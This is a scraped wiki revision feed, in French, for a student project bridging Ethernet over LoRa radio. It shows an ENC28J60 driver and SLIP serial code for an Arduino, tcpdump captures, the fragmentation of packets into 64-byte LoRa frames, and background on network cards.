tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa. Les paquets que la carte ethernet reçoit doivent être envoyés à LoRa ensuite le LoRa va les envoyer à l'autre LoRa. Une fois que l'autre LoRa reçoit ces données, elles vont être envoyée à la carte ethernet. Le PC pourra traiter des données par la liaison série.&lt;br /&gt;
Pour réussir cette idée, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, lorsque les fonctions de SPI sont déjà définies dans les fonctions dans la librairie de l'enc28j60 au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet pour LoRa ne fait que 64 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet du paquet. La dernière case est réservée pour dire le numéro du fragement et vérifier si c'est la fin du paquet. Au niveau de la réception, si le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un, le récepteur va s'arrêter de capter des paquets.&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39256</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39256"/>
				<updated>2017-02-16T10:02:57Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
